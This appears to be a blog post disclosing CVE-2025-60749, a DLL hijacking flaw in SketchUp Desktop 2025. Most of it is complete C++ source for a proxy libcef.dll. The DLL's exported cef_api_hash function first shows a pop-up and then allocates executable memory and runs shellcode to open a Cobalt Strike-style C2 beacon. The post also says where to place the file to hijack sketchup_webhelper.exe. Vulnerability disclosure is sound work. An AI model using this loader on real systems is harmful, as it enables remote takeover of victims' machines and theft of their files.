CVE-2025-60749

SketchUp Desktop 2025 DLL Hijacking Vulnerability(CVE-2025-60749)

Introduction to SketchUp Desktop

SketchUp Desktop is an intuitive tool focused on 3D conceptual design and in-depth modeling. Its iconic “Push/Pull” operation makes creating and modifying models exceptionally simple and efficient. It primarily serves professionals who need to quickly visualize spatial ideas, including architects, interior and landscape designers for design iteration, woodworkers and product designers for precise modeling, and meets the demands of film and gaming industries for rapid scene creation. Simultaneously, it is also highly popular among DIY enthusiasts and students, serving as an ideal bridge connecting initial inspiration with 3D results.

Vulnerability Description

A DLL Hijacking vulnerability exists in Trimble SketchUp desktop 2025. An attacker can create a malicious libcef.dll file and place it in a specific location (e.g., the SketchUp application’s installation directory or a system path). When the SketchUp application launches or the sketchup_webhelper.exe process starts and attempts to load libcef.dll, it may erroneously load the attacker-provided malicious libcef.dll instead of the legitimate one. Once the malicious DLL is loaded, the attacker can execute arbitrary code on the victim’s computer, thereby gaining full control over the victim’s system.

Vulnerability Principle and Reproduction

Vulnerable version download link: https://help.sketchup.com/zh-CN/downloading-sketchup

image-20251023102415453

After downloading, locate the sketchup_webhelper.exe program in the software directory.

image-20251023102514393

The program does not specify a full path when loading the libcef.dll DLL, causing Windows to search for the DLL according to a specific search order.

An attacker can place a malicious DLL file (e.g., libcef.dll) in a higher-priority location within the program’s search path and implement an export function with the same name, thereby hijacking the program’s execution flow.

For example:

image-20251023102645646

When the program is executed, it will load this malicious DLL, and our demonstration pop-up window will be displayed.

image-20251023102731704

Additionally, we can leverage this to deploy remote control tools such as Cobalt Strike.

dllmain.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
extern "C" __declspec(dllexport) int cef_string_multimap_free() {
return 0;
}
extern "C" __declspec(dllexport) int cef_string_multimap_alloc() {
return 0;
}
extern "C" __declspec(dllexport) int cef_string_multimap_append() {
return 0;
}
extern "C" __declspec(dllexport) int cef_string_multimap_value() {
return 0;
}
extern "C" __declspec(dllexport) int cef_string_multimap_key() {
return 0;
}
extern "C" __declspec(dllexport) int cef_string_multimap_size() {
return 0;
}
extern "C" __declspec(dllexport) int cef_string_map_append() {
return 0;
}
extern "C" __declspec(dllexport) int cef_string_map_value() {
return 0;
}
extern "C" __declspec(dllexport) int cef_string_utf16_clear() {
return 0;
}
extern "C" __declspec(dllexport) int cef_string_map_key() {
return 0;
}
extern "C" __declspec(dllexport) int cef_string_map_size() {
return 0;
}
extern "C" __declspec(dllexport) int cef_string_list_append() {
return 0;
}
extern "C" __declspec(dllexport) int cef_string_list_value() {
return 0;
}
extern "C" __declspec(dllexport) int cef_string_list_size() {
return 0;
}
extern "C" __declspec(dllexport) int cef_v8context_get_current_context() {
return 0;
}
extern "C" __declspec(dllexport) int cef_dictionary_value_create() {
return 0;
}
extern "C" __declspec(dllexport) int cef_string_map_alloc() {
return 0;
}
extern "C" __declspec(dllexport) int cef_string_map_free() {
return 0;
}
extern "C" __declspec(dllexport) int cef_v8value_create_function() {
return 0;
}
extern "C" __declspec(dllexport) int cef_v8value_create_object() {
return 0;
}
extern "C" __declspec(dllexport) int cef_v8value_create_string() {
return 0;
}
extern "C" __declspec(dllexport) int cef_v8value_create_double() {
return 0;
}
extern "C" __declspec(dllexport) int cef_v8value_create_int() {
return 0;
}
extern "C" __declspec(dllexport) int cef_v8value_create_bool() {
return 0;
}
extern "C" __declspec(dllexport) int cef_v8value_create_null() {
return 0;
}
extern "C" __declspec(dllexport) int cef_value_create() {
return 0;
}
extern "C" __declspec(dllexport) int cef_list_value_create() {
return 0;
}
extern "C" __declspec(dllexport) int cef_api_hash() {
MessageBoxA(NULL, "dll导出函数劫持成功", 0, 0);
return 0;
}
extern "C" __declspec(dllexport) int cef_do_message_loop_work() {
return 0;
}
extern "C" __declspec(dllexport) int cef_execute_process() {
return 0;
}
extern "C" __declspec(dllexport) int cef_post_task() {
return 0;
}
extern "C" __declspec(dllexport) int cef_string_list_free() {
return 0;
}
extern "C" __declspec(dllexport) int cef_string_list_alloc() {
return 0;
}
extern "C" __declspec(dllexport) int cef_process_message_create() {
return 0;
}
extern "C" __declspec(dllexport) int cef_string_userfree_utf16_free() {
return 0;
}
extern "C" __declspec(dllexport) int cef_cookie_manager_get_global_manager() {
return 0;
}
extern "C" __declspec(dllexport) int cef_log() {
return 0;
}
extern "C" __declspec(dllexport) int cef_string_utf16_cmp() {
return 0;
}
extern "C" __declspec(dllexport) int cef_string_utf8_clear() {
return 0;
}
extern "C" __declspec(dllexport) int cef_string_utf16_to_utf8() {
return 0;
}
extern "C" __declspec(dllexport) int cef_string_utf16_set() {
return 0;
}
extern "C" __declspec(dllexport) int cef_string_utf8_to_utf16() {
return 0;
}

BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)

{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}


We only need to embed the malicious code within the following export function:

1
2
3
4
5
extern "C" __declspec(dllexport) int cef_api_hash() {
MessageBoxA(NULL, "dll导出函数劫持成功", 0, 0);
return 0;
}

Now, let’s demonstrate the scenario of establishing a C2 connection.

ere is the simplest and most basic payload for C2 beaconing:

image-20251023103810726

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
extern "C" __declspec(dllexport) int cef_string_multimap_free() {
return 0;
}
extern "C" __declspec(dllexport) int cef_string_multimap_alloc() {
return 0;
}
extern "C" __declspec(dllexport) int cef_string_multimap_append() {
return 0;
}
extern "C" __declspec(dllexport) int cef_string_multimap_value() {
return 0;
}
extern "C" __declspec(dllexport) int cef_string_multimap_key() {
return 0;
}
extern "C" __declspec(dllexport) int cef_string_multimap_size() {
return 0;
}
extern "C" __declspec(dllexport) int cef_string_map_append() {
return 0;
}
extern "C" __declspec(dllexport) int cef_string_map_value() {
return 0;
}
extern "C" __declspec(dllexport) int cef_string_utf16_clear() {
return 0;
}
extern "C" __declspec(dllexport) int cef_string_map_key() {
return 0;
}
extern "C" __declspec(dllexport) int cef_string_map_size() {
return 0;
}
extern "C" __declspec(dllexport) int cef_string_list_append() {
return 0;
}
extern "C" __declspec(dllexport) int cef_string_list_value() {
return 0;
}
extern "C" __declspec(dllexport) int cef_string_list_size() {
return 0;
}
extern "C" __declspec(dllexport) int cef_v8context_get_current_context() {
return 0;
}
extern "C" __declspec(dllexport) int cef_dictionary_value_create() {
return 0;
}
extern "C" __declspec(dllexport) int cef_string_map_alloc() {
return 0;
}
extern "C" __declspec(dllexport) int cef_string_map_free() {
return 0;
}
extern "C" __declspec(dllexport) int cef_v8value_create_function() {
return 0;
}
extern "C" __declspec(dllexport) int cef_v8value_create_object() {
return 0;
}
extern "C" __declspec(dllexport) int cef_v8value_create_string() {
return 0;
}
extern "C" __declspec(dllexport) int cef_v8value_create_double() {
return 0;
}
extern "C" __declspec(dllexport) int cef_v8value_create_int() {
return 0;
}
extern "C" __declspec(dllexport) int cef_v8value_create_bool() {
return 0;
}
extern "C" __declspec(dllexport) int cef_v8value_create_null() {
return 0;
}
extern "C" __declspec(dllexport) int cef_value_create() {
return 0;
}
extern "C" __declspec(dllexport) int cef_list_value_create() {
return 0;
}
extern "C" __declspec(dllexport) int cef_api_hash() {
/* length: 894 bytes */
unsigned char sc[] = "";


// 分配内存空间
LPVOID addr = VirtualAlloc(NULL, sizeof(sc), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (addr == NULL) {
return 1;
}

// 将shellcode复制到可执行内存中
memcpy(addr, sc, sizeof(sc));

// 执行shellcode
((void(*)())addr)();

return 0;
}

extern "C" __declspec(dllexport) int cef_do_message_loop_work() {
return 0;
}
extern "C" __declspec(dllexport) int cef_execute_process() {
return 0;
}
extern "C" __declspec(dllexport) int cef_post_task() {
return 0;
}
extern "C" __declspec(dllexport) int cef_string_list_free() {
return 0;
}
extern "C" __declspec(dllexport) int cef_string_list_alloc() {
return 0;
}
extern "C" __declspec(dllexport) int cef_process_message_create() {
return 0;
}
extern "C" __declspec(dllexport) int cef_string_userfree_utf16_free() {
return 0;
}
extern "C" __declspec(dllexport) int cef_cookie_manager_get_global_manager() {
return 0;
}
extern "C" __declspec(dllexport) int cef_log() {
return 0;
}
extern "C" __declspec(dllexport) int cef_string_utf16_cmp() {
return 0;
}
extern "C" __declspec(dllexport) int cef_string_utf8_clear() {
return 0;
}
extern "C" __declspec(dllexport) int cef_string_utf16_to_utf8() {
return 0;
}
extern "C" __declspec(dllexport) int cef_string_utf16_set() {
return 0;
}
extern "C" __declspec(dllexport) int cef_string_utf8_to_utf16() {
return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)

{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}


Place this (the malicious DLL) in the same directory as sketchup_webhelper.exe and rename it to libcef.dll.

Upon execution (of sketchup_webhelper.exe), the C2 connection will be established.

image-20251023104053230

image-20251023104120937

Affected Versions

Version:Trimble SketchUp desktop 2025 (and potentially earlier versions if the vulnerability exists in shared components)

Impact Description:The core user base for SketchUp Desktop includes all professionals and enthusiasts who need to quickly visualize spatial and form ideas. If SketchUp is subjected to DLL hijacking, an attacker can leverage its legitimate process identity to steal core design files and business secrets. Furthermore, with the software’s elevated privileges, the attacker could manipulate the system, encrypt files for ransom, or corrupt project models. All of this would occur under the guise of the software functioning normally, leading to catastrophic consequences for designers in terms of intellectual property and economic loss.


CVE-2025-60749
http://example.com/2025/10/23/CVE-2025-60749/
Author
John Doe
Posted on
October 23, 2025
Licensed under